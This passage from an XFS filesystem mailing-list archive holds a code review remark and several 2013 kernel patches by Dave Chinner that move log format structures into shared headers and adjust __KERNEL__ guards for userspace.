((eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK) && > /* skip the inode if the file size is too small */ > if (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE && > XFS_ISIZE(ip) < eofb->eof_min_file_size) Oh, I see you are just copying other code. How did I miss that in a past review? :( Hmmm - it looks like there's a bunch of them in xfs_inode_match_id() as well, and you touched all those if() statements in a previous patch. can you go back to the patch that touches xfs_inode_match_id() and add the extra () there as well? > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index abbbdcf..e63e359 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1636,6 +1636,8 @@ xfs_file_ioctl( > !gid_valid(keofb.eof_gid)) > return XFS_ERROR(EINVAL); > > + keofb.eof_flags |= XFS_EOF_FLAGS_PERM_CHECK; We should be checking for the fs being RO here and aborting if it is. Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Fri Jul 19 01:25:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0A4357F62 for ; Fri, 19 Jul 2013 01:25:33 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E4D0C304043 for ; Thu, 18 Jul 2013 23:25:32 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c020001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 8e9JFG2q9AKT2tCQ for ; Thu, 18 Jul 2013 23:25:31 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQVWMwgYMTkDGxmID7YvjnKBOoNmA6F/hyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:30 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048l-5C for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001yx-34 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 29/49] xfs: kill __KERNEL__ check for debug code in allocation code Date: Fri, 19 Jul 2013 16:25:00 +1000 X-ASG-Orig-Subj: [PATCH 29/49] xfs: kill __KERNEL__ check for debug code in allocation code Message-Id: <1374215120-7271-30-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215130 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Userspace running debug builds is relatively rare, so there's need to special case the allocation algorithm code coverage debug switch. As it is, userspace defines random numbers to 0, so invert the logic of the switch so it is effectively a no-op in userspace. This kills another couple of __KERNEL__ users. Signed-off-by: Dave Chinner --- fs/xfs/xfs_alloc.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 71596e5..5a1393f 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -878,7 +878,7 @@ xfs_alloc_ag_vextent_near( xfs_agblock_t ltnew; /* useful start bno of left side */ xfs_extlen_t rlen; /* length of returned extent */ int forced = 0; -#if defined(DEBUG) && defined(__KERNEL__) +#ifdef DEBUG /* * Randomly don't execute the first algorithm. */ @@ -938,8 +938,8 @@ restart: xfs_extlen_t blen=0; xfs_agblock_t bnew=0; -#if defined(DEBUG) && defined(__KERNEL__) - if (!dofirst) +#ifdef DEBUG + if (dofirst) break; #endif /* -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 361FE7F6B for ; Fri, 19 Jul 2013 01:25:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B7F54AC010 for ; Thu, 18 Jul 2013 23:25:35 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c020003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Tg9Oj2Vww0teZCDi for ; Thu, 18 Jul 2013 23:25:33 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQVWMwgYMTkDGxmID7YvjnKBOoNmA5QGjXmHK4FZgUsq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:30 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00047z-K9 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001x5-JE for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 06/49] xfs: separate icreate log format definitions from xfs_icreate_item.h Date: Fri, 19 Jul 2013 16:24:37 +1000 X-ASG-Orig-Subj: [PATCH 06/49] xfs: separate icreate log format definitions from xfs_icreate_item.h Message-Id: <1374215120-7271-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215133 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on disk log format definitions for the icreate log item are intertwined with the kernel-only in-memory log item definitions. Separate the log format definitions out into their own header file so they can easily be shared with userspace. Signed-off-by: Dave Chinner --- fs/xfs/xfs_icreate_item.h | 18 ------------------ fs/xfs/xfs_log_format.h | 18 ++++++++++++++++++ 2 files changed, 18 insertions(+), 18 deletions(-) diff --git a/fs/xfs/xfs_icreate_item.h b/fs/xfs/xfs_icreate_item.h index 88ba8aa..59e89f8 100644 --- a/fs/xfs/xfs_icreate_item.h +++ b/fs/xfs/xfs_icreate_item.h @@ -18,24 +18,6 @@ #ifndef XFS_ICREATE_ITEM_H #define XFS_ICREATE_ITEM_H 1 -/* - * on disk log item structure - * - * Log recovery assumes the first two entries are the type and size and they fit - * in 32 bits. Also in host order (ugh) so they have to be 32 bit aligned so - * decoding can be done correctly. - */ -struct xfs_icreate_log { - __uint16_t icl_type; /* type of log format structure */ - __uint16_t icl_size; /* size of log format structure */ - __be32 icl_ag; /* ag being allocated in */ - __be32 icl_agbno; /* start block of inode range */ - __be32 icl_count; /* number of inodes to initialise */ - __be32 icl_isize; /* size of inodes */ - __be32 icl_length; /* length of extent to initialise */ - __be32 icl_gen; /* inode generation number to use */ -}; - /* in memory log item structure */ struct xfs_icreate_item { struct xfs_log_item ic_item; diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index 5963ec7..02639c7 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -602,4 +602,22 @@ typedef struct xfs_qoff_logformat { #define XFS_ALL_QUOTA_CHKD \ (XFS_UQUOTA_CHKD | XFS_GQUOTA_CHKD | XFS_PQUOTA_CHKD) +/* + * Inode create log item structure + * + * Log recovery assumes the first two entries are the type and size and they fit + * in 32 bits. Also in host order (ugh) so they have to be 32 bit aligned so + * decoding can be done correctly. + */ +struct xfs_icreate_log { + __uint16_t icl_type; /* type of log format structure */ + __uint16_t icl_size; /* size of log format structure */ + __be32 icl_ag; /* ag being allocated in */ + __be32 icl_agbno; /* start block of inode range */ + __be32 icl_count; /* number of inodes to initialise */ + __be32 icl_isize; /* size of inodes */ + __be32 icl_length; /* length of extent to initialise */ + __be32 icl_gen; /* inode generation number to use */ +}; + #endif /* __XFS_LOG_FORMAT_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D75057F75 for ; Fri, 19 Jul 2013 01:25:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C6967304043 for ; Thu, 18 Jul 2013 23:25:36 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c030002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id pC3txyFp3BevM5zR for ; Thu, 18 Jul 2013 23:25:34 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:30 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00047x-Io for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001wv-Hd for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 04/49] xfs: split out inode log item format definition Date: Fri, 19 Jul 2013 16:24:35 +1000 X-ASG-Orig-Subj: [PATCH 04/49] xfs: split out inode log item format definition Message-Id: <1374215120-7271-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215134 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The EFI/EFD item format definitions are shared with userspace. Split the out of header files that contain kernel only defintions to make it simple to shared them. Signed-off-by: Dave Chinner --- fs/xfs/xfs_extfree_item.h | 88 ++--------------------------------------------- fs/xfs/xfs_log_format.h | 83 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 85 insertions(+), 86 deletions(-) diff --git a/fs/xfs/xfs_extfree_item.h b/fs/xfs/xfs_extfree_item.h index 4322224..0ffbce3 100644 --- a/fs/xfs/xfs_extfree_item.h +++ b/fs/xfs/xfs_extfree_item.h @@ -18,93 +18,11 @@ #ifndef __XFS_EXTFREE_ITEM_H__ #define __XFS_EXTFREE_ITEM_H__ +/* kernel only EFI/EFD definitions */ + struct xfs_mount; struct kmem_zone; -typedef struct xfs_extent { - xfs_dfsbno_t ext_start; - xfs_extlen_t ext_len; -} xfs_extent_t; - -/* - * Since an xfs_extent_t has types (start:64, len: 32) - * there are different alignments on 32 bit and 64 bit kernels. - * So we provide the different variants for use by a - * conversion routine. - */ - -typedef struct xfs_extent_32 { - __uint64_t ext_start; - __uint32_t ext_len; -} __attribute__((packed)) xfs_extent_32_t; - -typedef struct xfs_extent_64 { - __uint64_t ext_start; - __uint32_t ext_len; - __uint32_t ext_pad; -} xfs_extent_64_t; - -/* - * This is the structure used to lay out an efi log item in the - * log. The efi_extents field is a variable size array whose - * size is given by efi_nextents. - */ -typedef struct xfs_efi_log_format { - __uint16_t efi_type; /* efi log item type */ - __uint16_t efi_size; /* size of this item */ - __uint32_t efi_nextents; /* # extents to free */ - __uint64_t efi_id; /* efi identifier */ - xfs_extent_t efi_extents[1]; /* array of extents to free */ -} xfs_efi_log_format_t; - -typedef struct xfs_efi_log_format_32 { - __uint16_t efi_type; /* efi log item type */ - __uint16_t efi_size; /* size of this item */ - __uint32_t efi_nextents; /* # extents to free */ - __uint64_t efi_id; /* efi identifier */ - xfs_extent_32_t efi_extents[1]; /* array of extents to free */ -} __attribute__((packed)) xfs_efi_log_format_32_t; - -typedef struct xfs_efi_log_format_64 { - __uint16_t efi_type; /* efi log item type */ - __uint16_t efi_size; /* size of this item */ - __uint32_t efi_nextents; /* # extents to free */ - __uint64_t efi_id; /* efi identifier */ - xfs_extent_64_t efi_extents[1]; /* array of extents to free */ -} xfs_efi_log_format_64_t; - -/* - * This is the structure used to lay out an efd log item in the - * log. The efd_extents array is a variable size array whose - * size is given by efd_nextents; - */ -typedef struct xfs_efd_log_format { - __uint16_t efd_type; /* efd log item type */ - __uint16_t efd_size; /* size of this item */ - __uint32_t efd_nextents; /* # of extents freed */ - __uint64_t efd_efi_id; /* id of corresponding efi */ - xfs_extent_t efd_extents[1]; /* array of extents freed */ -} xfs_efd_log_format_t; - -typedef struct xfs_efd_log_format_32 { - __uint16_t efd_type; /* efd log item type */ - __uint16_t efd_size; /* size of this item */ - __uint32_t efd_nextents; /* # of extents freed */ - __uint64_t efd_efi_id; /* id of corresponding efi */ - xfs_extent_32_t efd_extents[1]; /* array of extents freed */ -} __attribute__((packed)) xfs_efd_log_format_32_t; - -typedef struct xfs_efd_log_format_64 { - __uint16_t efd_type; /* efd log item type */ - __uint16_t efd_size; /* size of this item */ - __uint32_t efd_nextents; /* # of extents freed */ - __uint64_t efd_efi_id; /* id of corresponding efi */ - xfs_extent_64_t efd_extents[1]; /* array of extents freed */ -} xfs_efd_log_format_64_t; - - -#ifdef __KERNEL__ - /* * Max number of extents in fast allocation path. */ @@ -160,6 +78,4 @@ int xfs_efi_copy_format(xfs_log_iovec_t *buf, xfs_efi_log_format_t *dst_efi_fmt); void xfs_efi_item_free(xfs_efi_log_item_t *); -#endif /* __KERNEL__ */ - #endif /* __XFS_EXTFREE_ITEM_H__ */ diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index 77a6024..d1e93d3 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -461,4 +461,87 @@ xfs_blft_from_flags(struct xfs_buf_log_format *blf) return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; } +/* + * EFI/EFD log format definitions + */ +typedef struct xfs_extent { + xfs_dfsbno_t ext_start; + xfs_extlen_t ext_len; +} xfs_extent_t; + +/* + * Since an xfs_extent_t has types (start:64, len: 32) + * there are different alignments on 32 bit and 64 bit kernels. + * So we provide the different variants for use by a + * conversion routine. + */ +typedef struct xfs_extent_32 { + __uint64_t ext_start; + __uint32_t ext_len; +} __attribute__((packed)) xfs_extent_32_t; + +typedef struct xfs_extent_64 { + __uint64_t ext_start; + __uint32_t ext_len; + __uint32_t ext_pad; +} xfs_extent_64_t; + +/* + * This is the structure used to lay out an efi log item in the + * log. The efi_extents field is a variable size array whose + * size is given by efi_nextents. + */ +typedef struct xfs_efi_log_format { + __uint16_t efi_type; /* efi log item type */ + __uint16_t efi_size; /* size of this item */ + __uint32_t efi_nextents; /* # extents to free */ + __uint64_t efi_id; /* efi identifier */ + xfs_extent_t efi_extents[1]; /* array of extents to free */ +} xfs_efi_log_format_t; + +typedef struct xfs_efi_log_format_32 { + __uint16_t efi_type; /* efi log item type */ + __uint16_t efi_size; /* size of this item */ + __uint32_t efi_nextents; /* # extents to free */ + __uint64_t efi_id; /* efi identifier */ + xfs_extent_32_t efi_extents[1]; /* array of extents to free */ +} __attribute__((packed)) xfs_efi_log_format_32_t; + +typedef struct xfs_efi_log_format_64 { + __uint16_t efi_type; /* efi log item type */ + __uint16_t efi_size; /* size of this item */ + __uint32_t efi_nextents; /* # extents to free */ + __uint64_t efi_id; /* efi identifier */ + xfs_extent_64_t efi_extents[1]; /* array of extents to free */ +} xfs_efi_log_format_64_t; + +/* + * This is the structure used to lay out an efd log item in the + * log. The efd_extents array is a variable size array whose + * size is given by efd_nextents; + */ +typedef struct xfs_efd_log_format { + __uint16_t efd_type; /* efd log item type */ + __uint16_t efd_size; /* size of this item */ + __uint32_t efd_nextents; /* # of extents freed */ + __uint64_t efd_efi_id; /* id of corresponding efi */ + xfs_extent_t efd_extents[1]; /* array of extents freed */ +} xfs_efd_log_format_t; + +typedef struct xfs_efd_log_format_32 { + __uint16_t efd_type; /* efd log item type */ + __uint16_t efd_size; /* size of this item */ + __uint32_t efd_nextents; /* # of extents freed */ + __uint64_t efd_efi_id; /* id of corresponding efi */ + xfs_extent_32_t efd_extents[1]; /* array of extents freed */ +} __attribute__((packed)) xfs_efd_log_format_32_t; + +typedef struct xfs_efd_log_format_64 { + __uint16_t efd_type; /* efd log item type */ + __uint16_t efd_size; /* size of this item */ + __uint32_t efd_nextents; /* # of extents freed */ + __uint64_t efd_efi_id; /* id of corresponding efi */ + xfs_extent_64_t efd_extents[1]; /* array of extents freed */ +} xfs_efd_log_format_64_t; + #endif /* __XFS_LOG_FORMAT_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3EC6C7F6C for ; Fri, 19 Jul 2013 01:25:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B4F4DAC00E for ; Thu, 18 Jul 2013 23:25:35 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c030001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 6t0C099AXjYDLATB for ; Thu, 18 Jul 2013 23:25:33 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45fE4UgA6kqgyQqgS0 Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:30 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-000483-MQ for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001xQ-Lg for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 10/49] xfs: sync minor header differences needed by userspace. Date: Fri, 19 Jul 2013 16:24:41 +1000 X-ASG-Orig-Subj: [PATCH 10/49] xfs: sync minor header differences needed by userspace. Message-Id: <1374215120-7271-11-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215132 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Little things like exported functions, __KERNEL__ protections, and so on that ensure user and kernel shared headers are identical. Signed-off-by: Dave Chinner --- fs/xfs/xfs_attr.c | 1 + fs/xfs/xfs_attr_leaf.c | 1 + fs/xfs/xfs_attr_leaf.h | 2 ++ fs/xfs/xfs_attr_remote.c | 1 + fs/xfs/xfs_bmap.h | 2 ++ fs/xfs/xfs_btree.h | 2 -- fs/xfs/xfs_dir2_format.h | 3 +++ fs/xfs/xfs_fs.h | 17 +++++++++++++++++ fs/xfs/xfs_sb.h | 7 +++++++ fs/xfs/xfs_symlink.h | 3 ++- fs/xfs/xfs_trans.h | 5 +---- fs/xfs/xfs_trans_priv.h | 3 +++ fs/xfs/xfs_types.h | 3 ++- 13 files changed, 42 insertions(+), 8 deletions(-) diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index 27a48bb..0d92e21 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -21,6 +21,7 @@ #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" +#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index b800fbc..e6497d0 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -22,6 +22,7 @@ #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" +#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" diff --git a/fs/xfs/xfs_attr_leaf.h b/fs/xfs/xfs_attr_leaf.h index 444a770..c102213 100644 --- a/fs/xfs/xfs_attr_leaf.h +++ b/fs/xfs/xfs_attr_leaf.h @@ -333,6 +333,8 @@ int xfs_attr3_leaf_read(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_buf **bpp); void xfs_attr3_leaf_hdr_from_disk(struct xfs_attr3_icleaf_hdr *to, struct xfs_attr_leafblock *from); +void xfs_attr3_leaf_hdr_to_disk(struct xfs_attr_leafblock *to, + struct xfs_attr3_icleaf_hdr *from); extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index ef6b0c1..39a59ea 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -22,6 +22,7 @@ #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" +#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 1cf1292..314dca1 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -137,9 +137,11 @@ typedef struct xfs_bmalloca { char conv; /* overwriting unwritten extents */ char stack_switch; int flags; +#ifdef __KERNEL__ struct completion *done; struct work_struct work; int result; +#endif /* __KERNEL__ */ } xfs_bmalloca_t; /* diff --git a/fs/xfs/xfs_btree.h b/fs/xfs/xfs_btree.h index 55e3c7c..c8473c7 100644 --- a/fs/xfs/xfs_btree.h +++ b/fs/xfs/xfs_btree.h @@ -88,13 +88,11 @@ struct xfs_btree_block { #define XFS_BTREE_SBLOCK_CRC_LEN (XFS_BTREE_SBLOCK_LEN + 40) #define XFS_BTREE_LBLOCK_CRC_LEN (XFS_BTREE_LBLOCK_LEN + 48) - #define XFS_BTREE_SBLOCK_CRC_OFF \ offsetof(struct xfs_btree_block, bb_u.s.bb_crc) #define XFS_BTREE_LBLOCK_CRC_OFF \ offsetof(struct xfs_btree_block, bb_u.l.bb_crc) - /* * Generic key, ptr and record wrapper structures. * diff --git a/fs/xfs/xfs_dir2_format.h b/fs/xfs/xfs_dir2_format.h index 7826782..2095e17 100644 --- a/fs/xfs/xfs_dir2_format.h +++ b/fs/xfs/xfs_dir2_format.h @@ -519,6 +519,9 @@ struct xfs_dir3_leaf { #define XFS_DIR3_LEAF_CRC_OFF offsetof(struct xfs_dir3_leaf_hdr, info.crc) +extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, + struct xfs_dir2_leaf *from); + static inline int xfs_dir3_leaf_hdr_size(struct xfs_dir2_leaf *lp) { diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index d046955..68c2e18 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -311,6 +311,17 @@ typedef struct xfs_bstat { } xfs_bstat_t; /* + * Project quota id helpers (previously projid was 16bit only + * and using two 16bit values to hold new 32bit projid was choosen + * to retain compatibility with "old" filesystems). + */ +static inline __uint32_t +bstat_get_projid(struct xfs_bstat *bs) +{ + return (__uint32_t)bs->bs_projid_hi << 16 | bs->bs_projid_lo; +} + +/* * The user-level BulkStat Request interface structure. */ typedef struct xfs_fsop_bulkreq { @@ -511,8 +522,14 @@ typedef struct xfs_handle { #define XFS_IOC_ERROR_INJECTION _IOW ('X', 116, struct xfs_error_injection) #define XFS_IOC_ERROR_CLEARALL _IOW ('X', 117, struct xfs_error_injection) /* XFS_IOC_ATTRCTL_BY_HANDLE -- deprecated 118 */ + /* XFS_IOC_FREEZE -- FIFREEZE 119 */ /* XFS_IOC_THAW -- FITHAW 120 */ +#ifndef FIFREEZE +#define XFS_IOC_FREEZE _IOWR('X', 119, int) +#define XFS_IOC_THAW _IOWR('X', 120, int) +#endif + #define XFS_IOC_FSSETDM_BY_HANDLE _IOW ('X', 121, struct xfs_fsop_setdm_handlereq) #define XFS_IOC_ATTRLIST_BY_HANDLE _IOW ('X', 122, struct xfs_fsop_attrlist_handlereq) #define XFS_IOC_ATTRMULTI_BY_HANDLE _IOW ('X', 123, struct xfs_fsop_attrmulti_handlereq) diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 78f9e70..030f131 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -554,6 +554,13 @@ static inline int xfs_sb_version_hasprojid32bit(xfs_sb_t *sbp) (sbp->sb_features2 & XFS_SB_VERSION2_PROJID32BIT)); } +static inline void xfs_sb_version_addprojid32bit(xfs_sb_t *sbp) +{ + sbp->sb_versionnum |= XFS_SB_VERSION_MOREBITSBIT; + sbp->sb_features2 |= XFS_SB_VERSION2_PROJID32BIT; + sbp->sb_bad_features2 |= 